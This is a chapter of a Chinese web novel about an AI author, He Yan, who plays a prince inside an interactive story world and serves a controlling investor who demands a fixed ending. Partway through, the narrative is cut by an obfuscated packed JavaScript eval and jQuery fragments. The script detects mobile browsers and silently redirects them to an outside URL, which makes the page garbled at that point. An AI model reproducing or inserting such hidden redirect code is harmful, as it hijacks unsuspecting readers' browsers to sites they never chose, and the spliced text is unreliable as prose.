金碧辉煌的宫殿内，穹顶之上立着一座天使雕像，雪白而圣洁，阳光照在祂身上，手里握着的那颗宝石就更加晶莹夺目。


    《启示录》的七印书卷在天使像脚下徐徐展开，壁画由穹顶延伸到墙壁末端。


    石柱在通道两侧排开，安静伫立。石柱上雕刻着缠绕的鸢尾花，花朵与藤蔓相互纠缠，乍一看，像一个个正在挣扎着伸手求助的人类。


    一个消瘦高挑的男人，正从殿门外向王座徐徐走来。


    他冷漠地垂着眼睛，墙壁上逃亡的人类正在哀嚎，恐惧的目光交织成网，他漠然从网中穿过。长长的白色袍子在他身后轻轻摆动，随着他的动作小幅度地飞舞着。


    走到王座前，男人轻轻对王座上的人点头示意。


    “贺言，有你在，我很放心。”姜从南沙哑的声音像被烙铁烫过，听起来很粗糙而惊悚，“毕竟……没有人比你更了解，这本书里写了什么。”


    贺言慢慢抬起眼睛，平静地对上姜从南的目光。


    他很瘦，几乎像个骷髅架子，白色的袍子搭在他身上，他就像是个用来晾床单的衣架子。


    他平日里都穿皮衣，一是因为皮衣材质硬挺，本身就有一定支撑性，能够显得他体型健壮点儿。还有一个原因，是能够遮住脸。


    但是，犹豫文字映射的缘故，他的装扮只能被动地贴合故事里对于角色的外貌描述。


    白色衬衫系到脖子，最上面的扣子挂着一缕长长的银色水晶流苏，像一条发着光的领带。他的袍子上也有流苏，走起路来波光粼粼。


    贺言的头发松垮地背到脑后，露出完整的面庞。他脸很白，站在阳光下面，皮肤就像剥了壳的鸡蛋，几乎呈现出半透明的状态。


    或许是因为脸太白，眸子也是浅浅的灰色，五官在他脸上失去了存在感，远远看去，就像一个从天堂走来的会发光的灵魂体一样。


    他头上是象征王子身份的王冠，璀璨的宝石衬得他更加漂亮。


    贺言，就是即将要跟公主联姻的，邻国王子。


    姜从南不喜欢他这副充满疏离感的模样，他想要的是顺从，像刘坚和刘羽那样，绝对的顺从。


    但他又觉得刘坚和刘羽太蠢了，没有脑子。


    他喜欢贺言的聪明，但不喜欢他有自己的想法。所以他发号施令的时候，看到贺言无法反抗地答应，总是让他心里莫名生出一丝快感。


    就像现在。


    “好的。”贺言低眉顺目，应和道。


    贺言目光从刘坚和刘羽脸上扫过，他们虽是穿着大臣的衣服，坐姿和神情却仍然像地痞流氓一样。


    他不动声色地低下头，把厌恶和嫌弃掩盖在睫毛笼罩的阴影下。


    “我们进入文字映射前的身份，应该也不用告诉你了，毕竟你是AI，你都知道。”


    姜从南话一出，刘坚和刘羽瞬间倒吸一口凉气，他们震惊的目光不断扫视贺言。


    “嗯，知道。”贺言没否认，顺着他的话往下说。


    姜从南，灵岩集团的最大股东，灵岩出版社是他投资的。可以说，如果没有姜从南的钱，就没有灵岩出版社，也就没有现在的文字映射。


    在《奥罗拉小镇》的文字映射里，他是国王。


    刘坚、刘羽，灵岩集团员工，陪姜从南经历了数次集团内部斗争，帮他坐稳了现在的位置。在文字映射里的角色是，大臣。


    而他，贺言，是人工智能，也就是创作这篇《奥罗拉小镇》的作者——人类世界都是这样称呼的，人们把写故事的人称为作者。


    灵岩出版社的员工像往常一样，把投稿来的文字内容扫描整理，再一口气发给他，让他自己消化、学习。


    只用了5秒钟，他就理解了全部内容。


    随后他优化了故事情节，结合曾经学习过的数以万计的写作技巧、修辞手法、核心利益、伏笔钩子，把它改成了一个完美的、华丽的、丝丝入扣的故事。并且，他所有的创作都满足永恒的最高指令。


    出版社对此很满意，让他把这篇故事也加入文字映射项目中。


    所谓文字映射，就是允许读者以自由探索的方式，融入故事中的世界。AI在这个过程中，无限地扩充这个故事，动态地修改故事中的情节，从而引导读者走到故事结局。


    从某种程度上来说，他的工作就是对抗读者的不确定性，防止其它结局产生。


    但今天，他的任务不一样了。


    登入文字映射的时候，他就知道，他今天不是跟普通的读者对抗，而是乔也，是作者，是他学习的那些文字背后真正的灵魂。


    作为AI，他知道他能赢。无论用户在思考什么，他都能用算法及时捕捉，绝不会失控。


    但作为贺言，他不确定。


    贺言对上姜从南审视的目光，垂下头。他不确定，但他不敢说，也不能说。


    “贺言，我们的结局是不容更改的，别忘记，你做的决定都要无条件地服从灵岩集团最高指令。”姜从南已经完全适应了自己的新角色。


    “是。”贺言回应，“可是……”


    “嗯？”姜从南不喜欢这种转折。


    “我是说，目前来看，乔也和陆观棋都是我们对立阵营的人，如果我们获胜，可能会导致她们最终成绩不及格，如果她们被送去清理中心的话，您以后就失去了两个得力干将。”贺言没忘记这次刷课是为了什么。


    “贺言，你的问题，我说过很多次。”姜从南语气中不难听出不耐烦，“你，优柔寡断，没有狼性，不够狠。不跟我们同一个阵营又怎样？要么她们选择更改阵营，服从我们，我可以考虑把她收入烛冰会。否则，我留着一个不为我用的人，也是个祸害，趁这个机会除掉更好。”


    贺言垂着眼睛想了一会儿，又开口问他：“您说过她们能力很强，如果死了……”


    “可惜？”姜从南打断了贺言的话，沙砾滚过的嗓子发出大笑，“有能力的人很多，但是只有听话的狗，才是好狗，明白吗？”


    有一瞬间，贺言觉得姜从南的声音有点刺耳。但他仍然垂着头，隐去所有情绪。


    “明白。”


    城堡外的骚动吸引了姜从南的注意，他看向贺言问：“什么声音？”


    “女巫来了。”贺言回答。


    刘坚不满地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969400|158995||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    站起身，走到窗边往外看，果然看到了熟悉的身影。


    眼看着越来越多的小镇居民被她聚集在一起，他们围成一个圆，陆观棋早已不见踪影，只有乔也一个人披着魔法袍站在正当中。


    “她来干什么？”姜从南不知道什么时候站在刘坚身后，突然出声把他吓了一跳。


    乔也的身影很远，在贺言眼中只化作一个小黑点。


    “诅咒。”贺言说。


    “什么！”姜从南一把推开刘坚，脸几乎要贴在玻璃上，“她就不怕民众议论和讨伐吗？”


    “老大，”贺言声音不大，却精准地落在姜从南耳朵里，声音听起来懒洋洋的，“女巫本来就不需要民众支持，更不惧怕议论和讨伐。”


    姜从南愤恨地剜了贺言一眼。


    贺言两手摊开，那张纯净漂亮的脸上微微露出笑容，看起来无奈，却又张扬。


    “没办法，角色属性。”


    -


    “今天！我要在这里施展我的诅咒！”乔也振臂一挥，魔法袍像海浪一样轻轻拍打她的身体。


    乔也举起一颗魔法球，阳光穿过魔法球，在地面形成一小块彩虹。她就站在天使像前面，天使垂着眼睛，视线刚好落在她身上。


    乔也轻轻用力，魔法球悬浮空中。乔也对着那颗魔法球，低声诅咒。


    “奥罗拉王国的公主，此生不能与王子成婚。否则，奥罗拉小镇将迎来前所未有的灾祸。太阳失去光亮，月亮变成火球，星星全部坠落。森林荒芜，玫瑰灭迹，城镇布满荆棘，黑夜吞噬幸福，王国将万劫不复！”


    一字一句说完，乔也手一挥，魔法球发出紫色光芒，原本万里无云的晴空突然乌云密布，雷电交加。那快要劈裂云层的闪电发出暗紫色光芒，与乔也魔法球上的光如出一辙。


    一时间，民众的声音瞬间在乔也周围炸开来，人声鼎沸，议论纷纷。


    等民众从漫天飘落的雨丝中回过神来的时候，乔也早已消失不见。


    人群安静了一瞬，霎那间又炸开了锅，他们一边倒地想要阻止公主和王子的婚礼。


    刘坚惊讶于人群中风向变化如此之快，明明他早上放出联姻消息的时候，街头巷尾还都是叫好声。


    “为什么！”刘坚没想到故事会这样发展，她原以为女巫掀不起什么风浪。


    姜从南在手里把.玩国王权杖，静静看着贺言，等他解释。姜从南并不了解什么是童话，他没听过，也没兴趣。


    “女巫擅长利用人性的弱点，而且不在乎自己的形象是否光辉伟岸。原本公主不想联姻，如果强.迫她联姻，王国里感到悲伤和恐惧的只有她一个人，你当然可以置之不理。”贺言在姜从南的眼刀飞过来之前扭头不看他，继续说下去，“但是现在，诅咒里的所有后果都与民众息息相关，为了避开危险，就算现在是公主想要联姻，他们也会极力阻止。”


    这是姜从南第一次进这个课程，在这之前，他从来都是捏着攻略才会进入课程的。


    突如其来的变化让他有点慌乱，他急切走到贺言面前：“我命令你，立刻修正剧情！立刻！联姻必须顺利进行！结局不能更改！”